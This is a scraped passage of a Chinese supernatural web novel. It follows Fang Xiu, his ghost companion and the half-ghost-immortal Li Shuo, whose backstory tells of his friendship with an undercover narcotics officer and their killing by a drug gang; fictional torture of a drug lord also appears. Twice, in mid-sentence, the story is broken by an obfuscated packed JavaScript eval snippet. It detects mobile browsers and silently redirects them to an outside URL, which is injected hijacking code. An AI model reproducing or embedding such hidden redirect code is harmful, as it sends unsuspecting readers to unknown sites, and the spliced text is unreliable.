方休举高打火机,做出敬酒的手势:“准鬼仙先生,你也被关在这里,却和‘厄’这么合拍……难不成你活着的时候是位线人?” “唉。” 终于,伴随着一声叹息,一个身影从月色中浮现。 白双影眯起眼,一只手搭上方休的肩。方休安抚地捏捏自家鬼的袖子,转眼望向来人。 “半山”外形与常人没有任何差异,只是脸上不是后脑勺,而是明明白白的五官。 他看起来很年轻,也就二十岁出头。此人个子不高,样貌很普通,站姿带着一股粗鲁的痞气。 “我可不是线人,没那觉悟。” 半山把玩着一根没点燃的烟,一双眼有意无意地扫过老金,笑了。 “用你们那个装逼犯的话来说,哎咋说来着,我才是那个底层loser……” “……我只是交了个不错的朋友。” 第 40 章 朋友聚会 第40章朋友聚会 【和平一日。】 关鹤则茫然地看看半山,又看看方休。 准鬼仙?这里真的有半步鬼仙?……那不是胡说骗老金的吗? 半步鬼仙一听就很厉害他们应该快点逃才对方休为什么非要招惹人家? 方休终于关上了打火机:“您老人家可算出来了,烧得我指头好疼。” 半山瞥了他一眼:“你就不怕我抢打火机?” “我介绍介绍,这是我家鬼叫白双影。他特别擅长隐藏。” 方休拉过白双影,骄傲地表示“我们小关也会五鬼搬运术可以随时把打火机偷到手。” “你要有什么可疑动作。小关偷走打火机,白双影隐藏小关。这样悄悄一点火我们还是能跑掉。” 半山:“……” 行,算你狠。 方休继续:“而且我们已经把所有邪祟都杀干净了,保证不会牵连外界。你看,我诚意多足啊。” 半山冷笑:“你那是在杀邪祟?看你折腾半天我还以为你刑讯逼供呢。” 方休下意识看向白双影见自家鬼满眼赞同,他整个人逐渐瘪下去:“你们怎么能这样……” 干什么,他降妖除魔的身姿不帅吗! 话说这位半步鬼仙虽然嘴毒,但他很自觉地保持了距离,没有硬抢打火机的意思。他们挨着灯火通明的路边摊,气氛居然还挺融洽。 “所以呢,你到底叫我出来做什么?” 半山抱起手臂模样就像街边随处可见的精神小伙,“这张照片的因果,你破坏它的时候就能知道非让我亲口讲还是怎么着?” 事已至此半山毫不避讳“照片就是厄”的事实。 方休摇摇头,正色道:“你的执念是什么?” 他收了开玩笑的口气问得非常郑重。 半山和嵬山神不一样。 嵬山神没当过厉鬼。她做人的时候攒了大功德走的是人升仙的路子。 半山明显是由人化作厉鬼再以厉鬼的身份修厄。而人要成厉鬼执念不可或缺。 果然听到方休问执念半山表情变了:“我的执念关你啥事?” “只有破坏了厄我们才能离开。” 方休语气非常认真“我知道照片对你很重要 半山噗嗤一笑:“你想超度我啊。” “是。你有什么要带话的人吗?有想杀的人也成我都能代劳。” 方休轻车熟路地说明业务。 “哟听着还挺专业专门干这行的?” 半山没有直接回答反而打起趣来“ ……也不对,都说干这行积德,我瞅着你不像。 方休:“…… 方休:“平时我解决执念要收费。这次情况特殊,给你免费。 白双影听着精神一振。他猜对了,方休果然是拿钱办事的阴间刺客。想到这里,他欣慰地摸了摸自己的人类。 方休立刻顺着竿爬,堂而皇之地倚上白双影。身边几乎要飘起“人鬼相处和谐,阴间业务熟练的广告词。 半山思索许久,叹了口气:“你们跟我来。 他带着他们来到了那家小小的电器店。 眼下店里空无一人,方休租相机的钱还在柜台上放着。没了半山遮挡,杂物间的门变得有些显眼。 “你好像不怎么吃惊。半山打量着方休的脸。 方休耸耸肩:“公共场合禁烟,这条街又正是生意好的时候,谁会在这么小的店里抽烟啊——第一次看见你,我就觉得哪里不对劲。 “那你怎么没揭穿? “因为你也可能只是没素质。方休瞥他。 半山:“…… 靠,他不就阴阳了两句吗,这小子好记仇。 半山又叹了口气,他整了整衣服,敲敲杂物间的门:“大哥,我带人过来了。 门里悄无声息。半山苦笑一声,自行开了门。 门内,真正的电器店店员正在角落理货。而杂物间深处,坐着一个本该不属于这里的身影。 那人坐在箱子上,一口口喝着汽水。看他的姿态,正好能填补烧烤摊上的空缺。 最奇妙的是,那个人与半山一样,脸上五官十分正常。 他看起来和半山差不多年轻,笑容非常灿烂,一副开心放松的模样。他的打扮和摊子上另外几个男青年差不多,他们的衣服都不显眼,但人瞧着板正又精神。 “我也介绍介绍,这我大哥。 半山说,“他也就是在照片里脸嫩。我认识他那会儿,他可没这么年轻。 方休看着那张脸,不语。 半山:“你们应该猜到了,我大哥是个缉毒警察,这是他的照片。他卧底被发现,人没了。 方休和关鹤屏息看着半山,半山却没有继续往下讲。 他随口换了话题:“我么,我就一小老百姓,困在这的原因和小关差不多——我初中带表弟表妹去水库玩。那地方禁止游泳,我耍帅带人下水,害他们淹**。 关鹤紧张起来:“那你和家里…… “别看我,我帮不了你。 半山无奈地摆手,“我那事把亲戚得罪**,完了还抽烟喝酒不学好。至少你和你妈还有话说,我和家里过年都不联系。 说到这,他自嘲地笑了下:“要不是认识了 大哥,我铁定也得当个祭品。 方休将视线从那位“大哥身上收回:“我很抱歉。 没有积累因果与执念,物件不会成为“厄。对于这位牺牲的警察来说,这张中秋照片,一定是非常重要的宝物。 浓郁的节日气氛,快乐聚会的朋友,美好的时光定格于此,看着就让人高兴。别说拥有者,方休一个外人都很喜欢这张照片。 而对于半山来说,它不仅是升仙的核心,更是朋友贵重的遗物。 “……我很抱歉。方休又重复了一遍,语气沉重了些许。 半山看了他一眼:“我都成厉鬼了,没什么积极情绪,你道不道歉无所谓。 “再说了,难道我说舍不得,你就要带着你的同伴死在这? 方休立刻另起话题:“你明明能施法藏住大哥的脸,为什么还要把他带到这里? 半山不假思索:“每晚让他待在畜生的视线里,我有点膈应。 方休反应了几秒,意识到他在说那张血夜巨脸。说实话,那只是禁忌生成的概念,不是真有毒贩在窥视。 但半山还是不愿意——也对,厉鬼往往都是固执的。 方休这边想着,那边半山把“大哥的胳膊搭上肩膀。兴许是得了厄的认同,他轻而易举地碰触了幻影。 半山扶朋友一样把人扶起来:“先不提执念啥的,既然咱们打不起来,不如一起喝点。 “你小子能往外捞好东西,我可看见了——你都要毁我的厄了,我蹭点吃的不过分吧? 方休诚恳:“旺○杏仁露罐头糖水,您点哪个? “都整上。半山毫不客气。 …… 月光明亮,霓虹闪烁。 中秋祭祀最后一天,绝地求生的厮杀变成烧烤摊前的小聚。 半山把“大哥 这位半步鬼仙一口气干了瓶饮料:“对对对就这个味儿,生魂咋吃都不顺嘴。果然是个人就得来点垃圾食品…… 他看着相当洒脱,完全不把方休他们当外人。 关鹤憋了半天,忍不住:“我们毁掉照片,你真的不在乎? 半山好笑道:“我敢说不在乎,你敢信吗? 关鹤哑然。 半山话语轻松,字里行间还是带着怅然。 “说不在乎是假话,这不没办法吗,你们纵火方案都备好了。 “再说你罪不至死,方休又跟个赏金猎人似的……我要是硬杀你们保照片,大哥得再被我气死一遍。半山嘟囔。 “来,大家敬半山。方休举起饮料罐。 “半山半山的, 差不多得了。”半步鬼仙不爽道“我叫黎烁——黎明的黎闪烁的烁。” 说着他把手边食物分出一半放在“大哥”跟前。尽管他们都知道幻影其实无法享用这些。 “好大家敬黎烁。”等黎烁布置完方休再次举起饮料。 黎烁这才举起罐子和他碰了个杯。 “……其实说到‘在乎’这事儿我觉得地府比我在乎。” 黎烁抓了根鸡腿吃得满嘴流油“我被关进照片没几天他们派了个纸人过来叽里呱啦科普了一堆……慢着这种事能叫科普吗?还是玄普?” “总之他们说我与这个‘厄’因果纠缠适合修鬼仙。我寻思看**们自相残杀挺解气加上还有点念想就凑合修着。” 关鹤目瞪口呆:“地府真的在养鬼仙?!” “也不能这么说。”方休叼着点心插嘴。 “咱们成功破坏厄为人间去除阴气污染源地府赢。” “咱们死在祭祀里养出炼化厄的鬼仙还是地府赢——和平年代没那么多生魂可吃既然拿了地府的生魂投资鬼仙肯定要付出代价。” 关鹤悟了:“所以不管解厄成不成功地府都有好处而且养鬼仙好处更大。” 方休转向黎烁:“说到这个地府收你什么代价?” “我也不知道他们说升仙后再谈这事。” 方休挠了挠下巴:“唔……” 黎烁吃完烧鸡吃水果继续爽快地出卖地府: “其实这张照片力量有限中秋才会开放一次。所以每年中秋节地府会送一批祭品和邪祟进来。” “一周之内他们就会死得差不多我杀了最后的幸存者祭祀就算结束了。然后我再等来年中秋……难得啊好久没正常过节了这个橘子真好吃……” 方休认真倾听手有一下没一下地捻白双影的袖子。 说起来白双影好像一直没什么反应。方休侧过脸发现白双影正在紧盯黎烁。 很奇怪明明黎烁没了敌意 “怎么了?”方休捏捏白双影的发梢。 “……没什么吃你的。”白双影沉声道。 可能白双影只是单纯看黎烁不爽。厉鬼心海底针方休决定想个办法安抚安抚自家鬼。 他垂下视线看向脚下的老金。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705271|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 桌子下方。 老金四肢尽断一条腿缺了小半。他像条狗一样趴在地上顽强地喘着气。 见方休一直与黎烁聊天老金聪明地保持沉默、力图减弱自己的存在感。 不出他所料。方休能想到的折磨只是用自己当钓饵去钓邪祟。说白了就是些磕磕碰碰小打小闹 ,忍忍就过去了。 如今听见厄的真相,老金只觉得厌烦。有些条子就是认死理,他们活着的时候给他添麻烦,**居然还能给他搞事。 不过无所谓,现在邪祟全死光了。明日午时三刻前,方休一定会破坏厄。 他只要继续撑住…… “对了。”方休慢悠悠开口,“待会儿血夜,我得回去照顾同伴。离明天午时三刻还有时间,你要不要拿他去玩?” 他微笑着指向老金。 黎烁兴致缺缺:“玩不玩的,毒贩我杀得不少……” “罗金程,五十岁,寅省籍贯。他是癸省的大毒枭,人称‘金老板’。他在癸省安河市横行十四年了,间接死在他手下的人得有个大几百,其中不乏缉毒警。” “这种人最难搞,他只会支使手下马仔干活,自己躲在暗处。阳间法律讲究证据,警察们通常只能逮到大小马仔。哪怕知道他有问题,也很难抓住罪证。” 听到“癸省安河市”,黎烁眼皮掀了掀,眉头微微拧起。 方休轻声继续:“他的手下里头,最有名的是‘二贵’。” “……哈,巧了不是!”黎烁突然大笑一声,“我改主意了,把他给我玩玩。” 他朝方休露出牙齿,“不过,别以为我不知道你打的什么主意。你想借我的手折磨他,逼他把你的同伴放出来。” 方休很坦然,他把照妖镜扔给黎烁:“是。能放出来最好,放不出来也无所谓,你看着来。” “交给我就好。” 黎烁笑得越发灿烂。 接着他垂下眼,目不转睛地望着老金。看着看着,黎烁一侧头壳瘪下去,眼白渐渐变成血红。他原本完好的皮肤裂出道道伤口,惨得像是犯了死忌。 短短数秒,黎烁当场露出了鬼相。 周围阴气四溢,关鹤吓得闭上双眼。老金身体紧绷,不敢出声——这种时候多说多错,谁知道这鬼跟自己有什么过节。 “哦对了,你要是不小心把他杀了,记得把生魂留给我。” 方休有点不好意思地表示,“我想给我家鬼弄点吃的……” “不必。”白双影突然出声,他仍盯着黎烁。 方休瞬间紧绷:“?” 完蛋,他家鬼怎么突然不想吃东西了?! “看你的模样,像是与这人有些纠葛。我懒得从别人嘴里抢食,就这样吧。”白双影瞧了方休一眼,缓声补充道。 黎烁有些惊讶,但很快弯起眉毛:“谢了。” 剩下的时间,谁都没再提照片的事。几个人天南地北地聊着,从流行的电视剧聊到最近的新闻。 这个烧烤摊成了整条街最热闹的地方。那位警察面目清晰,在一众无脸人里 显得格外出挑。比起这满街虚影,他更接近方休他们的一员。 他挨着黎烁坐着,始终面带微笑,像是一位格外沉默的朋友。 …… 次日六点,牌坊之前。 幸存者们在牌坊下集合。方休身边站着白双影和关鹤,身后则是成松云和梅岚。 黎烁身边就热闹了。他专门搬了把椅子过来,让他的警察大哥坐身边。 那把椅子旁边,躺着一坨看不清五官四肢的烂肉。烂肉虚弱地颤动,只留着微不可察的呼吸。场面太过血腥,成松云的手一个劲儿朝关鹤眼上捂。 “你没弄死他啊。”方休猜那东西是老金。 不愧是半步鬼仙的厉鬼,黎烁折磨人的手段比他强多了。 “烧照片的时候杀,我想把尸体带出去。” 黎烁把照妖镜扔给方休,“你想要的我问出来了。他一咽气,术法会自动解除。” 方休接住沾满血迹的铜镜,嘶了一声:“了不得。” “行了快动手,别磨蹭。”黎烁摆摆手,“等咱们出去,我就告诉你我的执念。” 方休闻言一怔,抿了抿嘴。 噗呲。 打火机燃起火焰。火焰瞬间引燃牌坊,火舌顺着柱子一路往上,映亮了警察幻影的脸。 点火瞬间,异变突生。 伴随着一声尖啸,黎烁鬼相骤显,两只眼球变得漆黑。 他径直扑向方休,牌坊火焰凝出无数火团,**似的瞄准其余人。 一切只是刹那。 方休提前做过预案,关鹤立刻发动五鬼搬运术,把打火机偷到手。然而白双影没有按计划掩护他,而是挡在了方休面前。 下一秒,白双影与黎烁的身影原地消失。 隐藏之中。 “世间万物皆有定数,哪有操控神智、逼人成仙的道理……这些年来,地府越来越没出息了。” 白双影左手轻松定住黎烁,右手两指并拢,虚虚一划。 第 41 章 节日意外 第41章节日意外 【陶瓷菩萨。】 白双影的隐藏对方休无效。 方休惊奇的视线中,白双影双指轻轻一划衣袂云雾般拂动那一瞬如同割裂了天地。方休不懂玄学术法,可他仍能模模糊糊感觉到,有什么连接此地的东西断掉了。 它断得又轻又自然如同落叶坠下枝头。 黎烁原地踉跄两步,眼中漆黑骤然散去。他捂着脑袋 “怎么回事?”方休快步上前,停在白双影身边。 白双影实话实说:“地府在他身上做了手脚——若是厄出现损坏此鬼还在,便激他发狂乱杀。” 他顿了顿,又补充,“不过这术法使得粗糙力量也不强。大约不是正规指令而是鬼差擅自行事。” 方休咋舌。原来黎烁吃了一记控制法术,他的鬼上去解了控,真不愧是金牌辅助。 看来白双影虽不如他懂人心,但绝对比他更懂地府。 方休:“鬼差干嘛做这种事?” “黎烁执念不深,理性尚存。否则以厉鬼秉性,不可能坐视你破坏厄。” 白双影望向还在头昏眼花的黎烁,“凡人成厉鬼很难有惊天动地的执念。年岁久了执念消解,大部分厉鬼会自然消失。” 方休能理解。不然古往今来**这么多人,鬼口数量得**。 他琢磨了会儿:“鬼差见黎烁快成鬼仙了担心他临门一脚放下执念消极比赛?” 白双影点头。 怪不得,方休心想。 当初地府对福老儿可没这么客气甚至漠视它被自己消灭。比起成仙遥遥无期的福老儿黎烁显然更有价值。 说不定“养出鬼仙”还算鬼差绩效呢如此一来有鬼动歪心思也不稀奇。 ……等从这里出去他绝对要投诉! “妈的都说了别磨叽赶快烧了照片!”黎烁龇牙咧嘴道。 方休接过关鹤手里的打火机再次点火。 这次火焰顺利燃烧起来。 音乐消失焰火沉寂。 美丽的夜空在方休面前剥落露出霉变的老墙皮。圆月所在的位置赫然是一尊蒙了灰的陶瓷观音。 因果袭来之时白双影突然闪到方休身后将他整个拢入怀中。方休没来得及细想便被汹涌而来的因果淹没。 …… 黎烁和家里断了联系后一直在癸省安河市生活。 安河市有栋古董居民楼是上个世纪留下的产物。它一套房也就三十多平楼况差到令人发指被周遭居民戏称为“混子楼”—— 这里的房 子烂到卖不出去。还在那住的,全是些不三不四的混子。 黎烁在这里有套房。 这套房曾属于他奶奶。房子装修是老人留下的,又丑又破。 客厅最显眼的地方还供了尊陶瓷观音像。那尊瓷像看着就廉价,老人却天天烧香祭拜,弄得屋里烟熏火燎。 黎烁把这套房子托给了“楼管——楼管不签合同,不瞧身份证,专门把房子租给底层的三教九流。 楼管会扣六成房租当做管理费。不过考虑到房子的难管程度,黎烁觉得挺值。 就当每个月领点烟钱,他想。 说来黎烁初中毕业就没再念书,只能做做零工。他在超市搬过货,饭店打过工。他总觉得辛苦,干两天就跑了,接着旷工开除一条龙。 后来黎烁干脆跑起了外卖。挣够了钱,他便瘫在出租屋刷短视频打游戏,等没钱了再跑一段时间。 但他还是活得不爽——得想办法多搞点钱,他想。 某一天,他打起了租客的主意。 他打算回房子里转一圈,挑点“损伤,敲几个钱花花。反正房子是他的,他说什么就是什么。 然而敲开自家房门后,黎烁萎靡了。 无他,这位房客看着就是个猛男——此人身板结实,比黎烁高半个头。他下巴留着沧桑的胡茬,一眼看不太出年纪。 那人叼着烟,目光自上而下一瞥,黎烁敲诈的心思烟消云散。 “那啥,大哥,这是我的房子哈,我就回来拿点东西。黎烁干笑。 大哥:“哦。 “哥您贵姓啊? “姓林。 “那就是林哥。 黎烁打着哈哈,在柜子里装模作样地翻,只翻出几张奶奶的老照片。他呃了半天,只好说自己想奶奶了,拿两张照片回去看。 没想到林哥挺吃这套,他弹弹烟灰,不耐的神色淡了点:“要拿都拿走,没事少来烦我。 说着,他随意地靠在窗边,瞧着窗外喷云吐雾。 什么是气场,这就是气场。黎烁突然觉得林哥很酷,一看就是那种“懂很多的大哥。 这大哥一定知道怎么赚钱。 黎烁每份工作干不了几天,外卖也是一个人跑,压根没几个朋友。难得多了条人脉,搭搭总没坏处吧? 于是他问:“哥加个微信呗?要是屋里有啥坏了,我过来修修。 这屋里就没几样能用的东西,林哥有点无语地瞄他:“不用,我就在这过个夜。 黎烁立即拿出小混混的死皮赖脸:“那留个电话号码呗,我有事好找您。 林哥被他缠得烦不胜烦,嗯了声。黎烁飞快存好那串号码,当面给林哥打了过去。林哥随便扫了眼,没 存。 黎烁并没有气馁,他只是觉得这哥们更酷了。 之后的时日,他每周都给林哥发条短信套近乎。短信全部石沉大海,黎烁一度怀疑自己被拉了黑名单。 中秋节那天,他又发:【中秋快乐。小弟没钱没家没女人,有空出来喝一个,小弟请客。】 谁想,这次林哥竟然回复了:【行】 两人约了个烧烤摊。附近有条开业刚满一年的步行街,正噼里啪啦放烟花。 林哥话很少,不爱谈自己的事,这场小聚堪比陌生人拼桌。即便如此,难得有人陪着过中秋,黎烁喝得微醺,大吐苦水。 “世道不公平呐。 林哥敷衍地应着,专心吃羊肉串。 “哥你知道啥工作来钱快不,给小弟介绍介绍?黎烁挥舞酒瓶,图穷匕见。 “嘿嘿,稍微灰色点也没关系,小弟我有觉悟…… 林哥抬起头来,眉头有点皱:“什么觉悟? “我在KTV端过盘子,有的开价可高了……可惜人家要么收长得好会来事的,要么收镇得住场子的,我两边都不沾。 黎烁遗憾得直叹气,“那边一个月能开到上万呢。我超市打工起早贪黑,五千块都拿不到…… “哥你又不是不知道,钱可是个好东西!只要有钱,大把美女过来贴,我也不用抽这破烟…… 林哥:“……钱确实是个好东西。 黎烁总觉得林哥这句话味道怪怪的,至于哪里怪,他泡了酒精的脑子品不出来。 不过他发现了其他东西。林哥胸前口袋有点撑,露出什么东西的一角,像是照片。 别是女人照片吧,黎烁借着醉意一掏—— 林哥脸色微变,他整个人绷了绷,接着又无所谓地伸手:“别乱动,还我。 黎烁看着手中照片,困惑地眨眨眼。 照片看着还挺新。上面是一条灯火通明的步行街,焰火与圆月凝固在天上。 照片主角是七八个小伙子。他们也在夜宵摊撸串,个个笑容灿烂,看着关系非常好——全是男的,没有黎烁想象中的漂亮女人。 黎烁失望:“这啥? “我朋友。林哥轻描淡写道。 黎烁:“出来喝酒还带朋友照片,哥你这么肉麻啊。 林哥无奈地瞥了他一眼,迅速抽回照片:“……里头一个兄弟没了,我带他过个节。 黎烁:“!这可真是太酷了。 黎烁:“那剩下的朋友呢,咋不跟他们聚? 林哥:“管好你自己。 黎烁悻悻闭嘴,几分钟后,他 又开始大肆宣扬生活艰苦——从他稀烂的家庭关系,到他稀烂的账户余额。 可他不管怎么卖惨,林哥都没站出来给他指条明路,啊不是,暗路。 到了最后,林哥只是无情地告诉他,没事少发短信。不过之后他又说,中秋节可以出来吃饭。 他们第一次吃饭,这种进展可以了,黎烁想。 …… 黎烁继续混着日子。第二年中秋,他们再次出来小聚。 林哥的打扮上了点档次。黎烁想不通,林哥明明混得还可以,怎么会没人一起过中秋呢? 这一年,黎烁习惯性大吐苦水。吐完之后,他又神神秘秘地说,哥你知道“二贵”吗? 这是他从别人那听说的名字,据说是道上的。眼下他能说出这名字,想必林哥也会高看他一眼。 果然,林哥皱皱眉:“哪儿听来的?” “哎,这种事不重要。”黎烁咬着螃蟹腿,“跟着二贵能赚钱,哥你知不知——” “你知道他们干嘛的吗?”林哥打断道。 黎烁:“嗨,不就搞那个的嘛,KTV里的那个药。我听说帮二贵做事,来钱特别快。” 接着他欲盖弥彰道,“其实没啥,娱乐圈好多玩这个的,人家国外都合法了……” 林哥脸上的肌肉动了动,有那么一瞬,黎烁有种错觉——他以为自己要挨揍。 最终,林哥只是瞪了他一眼:“回去查查法律,掂量掂量自个儿的命值多少钱。” 黎烁闭了嘴,发热的脑袋迅速降温。他虽然想要钱,但他更怕死。 于是他转移话题道:“嘿嘿,林哥你还带着照片啊……” 这一晚,林哥倒是跟他说了不少话。 林哥叫他多花点心思,想想自己擅长什么,别看见啥干啥,那样长久不了。 黎烁左耳朵进右耳朵出,他才不关心长久不长久,他只想要钱。 不过他仍遵守着他们的约定,非必要不发短信。倒是林哥主动给他发了两条短信,询问屋里热水器的事。 他们这算朋友吗?大概算吧,黎烁想。 …… 第三年中秋节,林哥衣服变得更高档,选的烧烤摊倒是越发普通。 黎烁打扮邋遢极了,他头发有点打绺,一张脸带着作息不规律的蜡黄色。两人坐在一起,看着怪别扭的。 这次黎烁还没来得及抱怨,林哥先一步开口:“你挺会修东西。” 一说到自己擅长的事,黎烁来了精神:“我初中还帮同学修小车呢,就那种玩具赛车,修一次两块钱。” 他兴高采烈地比划,眼里有了点神采。 “去试试修理店吧。”林哥思忖道,“怕累就别做家电上门,可以修电脑修手机, 我听说修游戏机也赚钱。” 说罢,他拘谨地添了句,“其实我不太懂,但既然你喜欢,试试总没错。” 黎烁来了兴致:“哎哥你别说,我就爱鼓捣这些!” 林哥指指远处的焰火:“步行街的电器店生意挺好,我前两天看着在招人。” 罕见的,他的语调带了点笑意。 “我明天就去!”黎烁一拍大腿。 最近他缺钱缺疯了。这活儿听着不算太累,正合他的心意。 有了目标,黎烁没再抱怨太多。两人正常聊起来,可惜林哥还是没说多少自己的事——他只说自己做生意,最近生意还行。 “哥你既然赚了钱,还住我那破房子干嘛?”黎烁不解。 “哪里过夜都一样,乱挪地方反而麻烦。” 黎烁不理解,等他有了钱,他绝对租个精装修大房子。不过话说回来,林哥好像真把他当朋友了,会当着他的面拿出照片看。 每次看到照片,林哥的表情都会变得很怀念。 黎烁想,那一定是林哥很好的朋友。 希望自己和林哥也能成为那么好的朋友。 …… 第四年中秋节,黎烁打扮得干干净净。他穿了件时髦的连帽衫,头发做了挑染。林哥反而衣着低调,一身暗沉老气的打扮。 一见面,黎烁就开始叽叽喳喳地说。 他在修东西方面确实有天赋,学得快修得好,电器店老板爽快地雇佣了他。如今他越干越起劲,杀了他也不辞职。 他一个月能到手七千块,老板还给他交五险一金。他在靠近步行街的地方租了间小公寓,房间安静又干净,窗外景色特别好。 这次黎烁忘记了抱怨,酒也没有喝多少。 “哥你是不知道,我们店生意爆好。有人把我拍到网上,好多人把游戏机寄过来让我修,老板说明年就给我涨工资。” 黎烁眉飞色舞,“对了,隔壁奶茶店的妹子天天冲我笑,哥你说她会不会对我有意思……” 林哥点了支烟,边听边笑。 黎烁突然发现,这人笑起来还是很有气场。 果然林哥就是很酷,也确实知道怎么赚钱。当初他努力跟林哥搭话,这决定真是太明智了。 惯例聊完,林哥罕见地提了要求。 林哥:“小黎,能不能替我保管照片?以后咱们中秋碰头,你帮我带着。” 黎烁:“啊?” 一张照片而已,又不占地方,干嘛要别人保管? 林哥倒是很自然地解释,说最近忙得昏天黑地,动不动丢三落四,怕不小心把照片搞丢。另外黎烁拿着照片,还能逼他中秋过来聚,省得他“有钱后冷落朋友”。 黎烁很喜欢后半句,欣然 答应。 说起来林哥貌似有某种强迫症——林哥尽管年年中秋过来聚但他每年都要强调必须由他主动约黎烁。要是他中秋没发短信定地方那就是忙黎烁不要打扰。 生意人总有点怪癖黎烁理解。 “哥你要是一直不来怎么办?”黎烁自然而然地问。 林哥抽烟的动作顿了顿 “……啥?” “照片其实是我朋友的。他出事后他家人本来打算烧给他。我想留个念想要过来了。” 林哥望向那轮圆月“到头来尘归尘土归土也挺好。” 黎烁听得直抽气敢情这是**的东西。都说生意人迷信林哥怎么就不嫌晦气? 不过既然是朋友的东西应该会反过来保佑活人吧?他又不太确定了。 最终黎烁接过照片答应以后由他带来。 ……毕竟林哥不仅算他半个恩人更是他的朋友。 四年来年年小聚互相帮衬这不叫哥们叫什么? …… 第五年中秋节白天。 黎烁心情好得不得了他决定回一趟混子楼给林哥一个惊喜。 他有很多想告诉林哥的事一顿饭怕是说不完—— 他在电器店干了两年店里生意红红火火。老板把他升成副店长现在他一个月能挣一万多块。 另外他和奶茶店的姑娘谈起了恋爱。 姑娘叫娟子模样一般身材平板似的和短视频美女一个天上一个地下。如今黎烁却觉得无所谓——反正他自己矮子一个长得也不帅这样踏踏实实就挺好。 而且他觉得娟子笑起来很可爱比那些网红笑得更好看。 不过要成家的话他得有些积蓄。 黎烁细心计算过。戒了烟一个月能省好几百块。日常吃喝收敛点租房稍微省一省又是大几百。他一个月能攒个八千多一年能攒十万! 这样过三年他可以存个三十万足够一间房子的首付…… 到时候他可以带娟子回家见父母。如今想想自己之前确实不像话。现在他有了出息正好缓和一下和家里的关系…… 总之这个中秋夜他要和娟子约会怕是没办法和林哥吃饭了。 黎烁决定把他们的中秋小聚挪到白天顺便从林哥那里打听点约会经验。 去混子楼之前黎烁专门买了点好酒好菜没忘记带上那张照片。 其实直到现在林哥还没给他发约饭的短信黎烁也不知道林哥今年有没有空。但他无所谓——大不了扑个空嘛反正是他的房子。 别说好几年没回混子楼了他还有点好奇。 ……然而 黎烁刚到家门口,就被人照脸来了一拳。 他当场被打懵了,鼻子两道热流,手里菜肴噼里啪啦落到地上。 接着他被人一把揪进门,摔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705272|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上地板。 地上全是血,他的衣服一下子吸饱了血,又重又黏。 ……为什么地上会有这么多血? 眩晕之中,黎烁听人有人在头上交谈。 “谁啊这是?”一个粗哑声音问。 “楼管说了,一个离家的混子,市里待了好些年,没啥问题。”另一个人答道,还往他背上踩了一脚,“……他什么都不是。” 不,他没有“什么都不是”,黎烁朦朦胧胧想。 他是个人,他活得挺像样。 他当上了副店长,他有个可爱的女朋友,他一个月能挣一万块呢。 “二贵哥,怎么搞?”那声音问。 粗哑声音嘿了声:“都上门了还怎么搞,弄死。” 黎烁没能反应过来,听“二贵哥”语气,就像他不是个人,是块肉。 “等等,”二贵又说,“那条子还没咽气,当着他的面弄死,看他还硬不硬气。” 黎烁被拖到客厅中央。歪斜的天地里,他看见一个血肉模糊的人。 那人奄奄一息,眉眼上全是血。但他认得,那是林哥。 林哥似乎也认出了他。五年下来,黎烁第一次在林哥眼里看到恐慌。 浓重的血腥气顶着鼻子,黎烁渐渐回过味来。 ……二贵是做**买卖的。 ……他口中的“条子”林哥,一定是缉毒警察。 林哥不加微信不存手机号,连照片都不愿放在住处。 林哥听自己提起二贵和**时,态度变得十分严肃。 林哥不谈自己家人,林哥不和朋友联络,林哥一个朋友因为“意外”死亡…… 黎烁感觉自己这辈子第一次这么聪明,比初中修小车时还聪明—— 他突然猜到了所谓的“意外”指什么。没准林哥死去的朋友也是缉毒警,和林哥一样。 他突然看懂了林哥眼中的惊惧,那惊惧一半是因为自己,另一半是因为那张照片……因为那张照片上还活着的同僚。 那一刻,黎烁其实没想太多。他不习惯想什么公理大义,也没想什么社会责任。 ……他只是想,他把照片带来了地狱,他得善后。 ……他不能坑死朋友的兄弟。 黎烁不知道哪来的力气,他跌跌撞撞爬起来,冲向里屋。 这是他奶奶的房子。儿时,他在这里住过许久——比如他知道,冲进里屋后,该怎么卡死那扇破门。 窗户上有防盗网,二贵的马仔们也不急,只当他困兽之斗。咣咣砸门声中,黎烁摸出了那张照片。 照片被血浸透,染上大片暗红。 黎烁蹒跚着靠近窗台,找到了熟悉的砖缝。老房子到处都是缝,而这是属于他的秘密仓库,他小时候曾在这里藏钱和红包,省得被家长收走。 黎烁勾了勾嘴角,将照片塞进缝隙。砖缝很深,黑暗顷刻间将它吞没。 他很小心,没在缝隙附近沾上血。 照片安全了,他想,谁也发现不了。 伴随着一声闷响,门被踹开。 有人一脚把他踢倒在地,又把他拖向客厅。那人嘴里叽叽咕咕骂着,大意是叫他**求救的心,这里是混子楼,再吵也不会有人管。 黎烁没听进去,他余光看着拖他的马仔。 这马仔不到三十,和他差不多大。瞧那人骂人的模样,像极了另一个他自己。 剧痛中,黎烁突然有点想笑。遇见林哥,他在这**,没遇见林哥,他没准在这**。 钱确实是个好东西,黎烁想。 有钱能使鬼推磨,那么从哪里找鬼推磨呢?……得把人变成鬼啊。 黎烁再次被拖回客厅。 林哥还在艰难地喘息,一双眼绝望地盯着黎烁,像是想用眼神把他推离这里。 黎烁舔舔嘴上的血。他骤然意识到一个事实——林哥大概不姓林,他恐怕永远无法知道大哥姓什么了。 哥,没用的。他想。 “哥,没事的。他说。 ……这不是你的错。是我自己运气太差了,你不要自责。 